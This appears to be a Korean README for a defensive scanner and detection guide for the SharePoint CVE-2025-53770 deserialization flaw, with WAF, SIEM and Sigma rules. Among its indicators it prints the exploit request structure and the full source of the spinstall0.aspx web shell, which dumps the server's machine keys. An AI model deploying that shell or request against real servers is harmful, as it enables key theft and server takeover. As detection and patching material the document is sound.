
ToolShell 스캐너 - CVE-2025-53770 및 탐지 정보
100% 주변에 떠도는 트윗과 페이로드, 다양한 공격 기법을 급조해서 만든 도구이므로, 어떤 보증도 제공되지 않습니다. 이 스캐너는 취약한 인스턴스를 식별하도록 설계되었으며, 실제 공격에서 확인된 악용 사례가 포함된 설정을 제공합니다. 주로 방어 목적으로 사용되어 취약한 인스턴스를 식별하고 패치를 적용할 수 있도록 지원합니다.
이 스캐너는 SharePoint 배포 환경을 다음과 같이 자동 점검합니다:
SP2013: WEBSER~1\15\ vs SP2016+: WEBSER~1\16\)git clone https://github.com/ZephrFish/CVE-2025-53770-Scanner
cd CVE-2025-53770-Scanner
pip install -r requirements.txt
대상 호스트가 포함된 텍스트 파일을 생성합니다 (한 줄에 하나):
sharepoint1.example.com
sharepoint2.example.net
internal-sp.company.local
스캐너를 실행합니다:
python3 scanner.py -i hosts.txt
python3 scanner.py -i hosts.txt -o results.json -l scan.log -t 20 -v
-o results.json)[
{
"host": "sharepoint.example.com",
"url": "https://sharepoint.example.com/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx",
"scan_time": "2025-07-21T10:30:00.123456",
"vulnerable": true,
"status_code": 200,
"response_size": 15432,
"error": null,
"response_time": 1.23
}
]
-o results.csv)스프레드시트 분석에 적합한 표 형식 데이터를 제공하며, 모든 스캔 지표에 대한 열을 포함합니다.
-o results.txt)취약점 상태와 스캔 세부 정보를 포함한 사람이 읽을 수 있는 형식입니다.
CVE-2025-53770은 실제 환경에서 활발히 악용되고 있는 SharePoint ExcelDataSet 구성 요소의 역직렬화 취약점을 대상으로 합니다. 스캐너는 다음을 탐지합니다:
/_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx로 전송ValidationKey|Validation|DecryptionKey|Decryption|CompatibilityMode
Example: [128-256 hex chars]|HMACSHA256|[48-96 hex chars]|AES|Framework45
spinstall0.aspx 배포Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0/_layouts/SignOut.aspx스캐너는 다음 항목에 대해 응답을 분석합니다:
$ python3 scanner.py -i corporate-sharepoint.txt -o vuln-results.json -l scan.log -v
Starting scan of 150 hosts with 10 threads...
Target CVE: CVE-2025-53770 (SharePoint ExcelDataSet deserialization)
Logging to: scan.log
Results will be saved to: vuln-results.json
[+] VULNERABLE [CRITICAL]: sp-prod-01.acme.local
[-] Not vulnerable: sp-dev-02.acme.local
[!] ERROR: offline-sp.acme.local - Connection timeout
[+] VULNERABLE [HIGH]: sp-legacy.acme.local
Progress: 50/150 (33.3%)
Progress: 100/150 (66.7%)
Progress: 150/150 (100.0%)
============================================================
SCAN COMPLETE
============================================================
Total hosts scanned: 150
Vulnerable hosts: 3
Success rate: 97.3%
VULNERABLE HOSTS (CVE-2025-53770):
CRITICAL - MACHINE KEY EXTRACTED (1 hosts):
• sp-prod-01.acme.local (Response time: 0.85s, Version: 2016+)
WARNING: IMMEDIATE ACTION REQUIRED: Machine keys compromised
HIGH CONFIDENCE (1 hosts):
• sp-legacy.acme.local (Response time: 1.23s, Version: 2013-2016)
LOW CONFIDENCE (1 hosts):
• sp-archive.acme.local (Response time: 2.10s, Version: Unknown)
Detailed results saved to: vuln-results.json
상세 문제 해결을 위해 상세 로깅(-v)과 로그 파일(-l)을 활성화하세요:
tail -f scan.log
스캐너는 활발한 공격에서 관찰된 확인된 악용 패턴에 대한 탐지를 포함합니다:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: target.domain.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2F{{host}}%2F_controltemplates%2F15%2FAclEditor.ascx
&MSOTlPn_DWP=[ExcelDataSet payload with CompressedDataTable containing serialized exploit]
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<script runat="server" language="c#" CODEPAGE="65001">
public void Page_load()
{
var sy = System.Reflection.Assembly.Load("System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a");
var mkt = sy.GetType("System.Web.Configuration.MachineKeySection");
var gac = mkt.GetMethod("GetApplicationConfig", System.Reflection.BindingFlags.Static | System.Reflection.BindingFlags.NonPublic);
var cg = (System.Web.Configuration.MachineKeySection)gac.Invoke(null, new object[0]);
Response.Write(cg.ValidationKey+"|"+cg.Validation+"|"+cg.DecryptionKey+"|"+cg.Decryption+"|"+cg.CompatibilityMode);
}
</script>
ValidationKey: [128-256 character hex string]
Validation: HMACSHA256|HMACSHA1|SHA1
DecryptionKey: [48-96 character hex string]
Decryption: AES|DES|3DES
CompatibilityMode: Framework20SP1|Framework45|Framework40
조직은 잠재적인 악용 시도를 식별하기 위해 다음 탐지 메커니즘을 구현해야 합니다:
SharePoint ToolPane 엔드포인트로 전송되는 의심스러운 POST 요청을 모니터링하세요:
# Example WAF detection rule patterns
POST /_layouts/15/ToolPane.aspx*
POST /_layouts/*/ToolPane.aspx*
Query string: "DisplayMode=Edit&a=/ToolPane.aspx"
Request body containing: "MSOTlPn_Uri", "MSOTlPn_DWP"
Request body containing: "ExcelDataSet", "CompressedDataTable"
Request body containing: "Scorecard:ExcelDataSet"
Request body containing: "H4sIAAAAAAAEA" (gzip magic bytes in base64)
Content-Length > 5000 bytes (typical payload size)
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0)
Referer: /_layouts/SignOut.aspx
관찰된 악용 패턴:
CompressedDataTable 매개변수에 URL 인코딩된 압축 데이터SharePoint ULS(Unified Logging Service) 로그에서 다음을 모니터링하세요:
Category: SharePoint Foundation Web Controls
Level: Unexpected, Error, Critical
Keywords: "ToolPane", "ExcelDataSet", "Deserialization"
Process: w3wp.exe
ULS 로그의 주요 지표:
악용 패턴을 식별하기 위해 IIS 로그를 모니터링하세요:
# Log analysis queries (replace with your SIEM syntax)
cs-method="POST" AND cs-uri-stem="/_layouts/15/ToolPane.aspx"
cs-method="POST" AND cs-uri-query="DisplayMode=Edit&a=/ToolPane.aspx"
cs-bytes > 7000 (typical exploit payload size)
cs(User-Agent)="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
cs(Referer)="/_layouts/SignOut.aspx"
sc-status=200 AND time-taken > 5000 (slow processing indicating deserialization)
실제 공격에서 확인된 특정 IOCs:
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx
Content-Length: 7699
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Referer: /_layouts/SignOut.aspx
Body contains: MSOTlPn_Uri=http%3A%2F%2F[domain]%2F_controltemplates%2F15%2FAclEditor.ascx
Body contains: CompressedDataTable%3D%22H4sIAAAAAAAEANVa23LbSJLt3stEzMzu0%2F6AQs%2B2BJCiu%2BWQ
네트워크 트래픽에서 다음을 모니터링하세요:
SharePoint 서버의 Windows 이벤트 로그를 모니터링하세요:
Event Log: Application
Source: ASP.NET, SharePoint Foundation
Event IDs: 1309, 1310 (application errors)
Event Log: System
Source: Application Error
Process: w3wp.exe crashes
index=iis source="*iis*"
| search cs_method="POST" cs_uri_stem="/_layouts/15/ToolPane.aspx" cs_uri_query="DisplayMode=Edit&a=/ToolPane.aspx"
| eval payload_size=tonumber(cs_bytes)
| where payload_size > 7000
| search cs_User_Agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"
| stats count by src_ip, cs_uri_stem, payload_size
| sort -payload_size
index=iis
| search cs_method="POST" AND cs_uri_stem="/_layouts/15/ToolPane.aspx"
| where cs_bytes > 7000 AND cs_bytes < 10000
| search cs_Referer="/_layouts/SignOut.aspx"
| eval attack_pattern=if(like(cs_User_Agent, "%Windows NT 10.0; Win64; x64; rv:120.0%"), "CVE-2025-53770", "Other")
| where attack_pattern="CVE-2025-53770"
| table _time, src_ip, cs_uri_query, cs_bytes, sc_status
{
"query": {
"bool": {
"must": [
{"term": {"http.request.method": "POST"}},
{"term": {"url.path": "/_layouts/15/ToolPane.aspx"}},
{"term": {"url.query": "DisplayMode=Edit&a=/ToolPane.aspx"}},
{"range": {"http.request.bytes": {"gte": 7000, "lte": 10000}}},
{"term": {"user_agent.original": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}},
{"term": {"http.request.referrer": "/_layouts/SignOut.aspx"}}
]
}
}
}
title: CVE-2025-53770 SharePoint ExcelDataSet Exploitation
id: cve-2025-53770-sharepoint-exploit
description: Detects exploitation attempts of CVE-2025-53770 SharePoint deserialization vulnerability
references:
- https://github.com/your-repo/CVE-2025-53770-Scanner
author: Security Team
date: 2025/07/21
logsource:
category: webserver
product: iis
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/_layouts/15/ToolPane.aspx'
cs-uri-query: 'DisplayMode=Edit&a=/ToolPane.aspx'
cs-bytes:
- gte: 7000
- lte: 10000
cs-User-Agent: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0'
cs-Referer: '/_layouts/SignOut.aspx'
condition: selection
falsepositives:
- Legitimate SharePoint administrative activities
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2025.53770
다음과 같은 악용 후 행동을 주시하세요:
즉시 대응:
조사:
차단 및 격리:
# Convert scan results for Splunk ingestion
python3 scanner.py -i hosts.txt -o results.json
# Import into Splunk index
curl -k -H "Authorization: Splunk <token>" -X POST \
"https://splunk-server:8088/services/collector" \
-d @results.json
| 옵션 | 설명 | 기본값 |
|---|
-i, --input | 호스트 목록 파일 경로 (필수) | - |
-o, --output | 결과 출력 파일 (.json, .csv, .txt) | None |
-l, --logfile | 상세 로깅을 위한 로그 파일 경로 | None |
-t, --threads | 동시 스레드 수 | 10 |
-v, --verbose | 상세 출력 및 로깅 활성화 | False |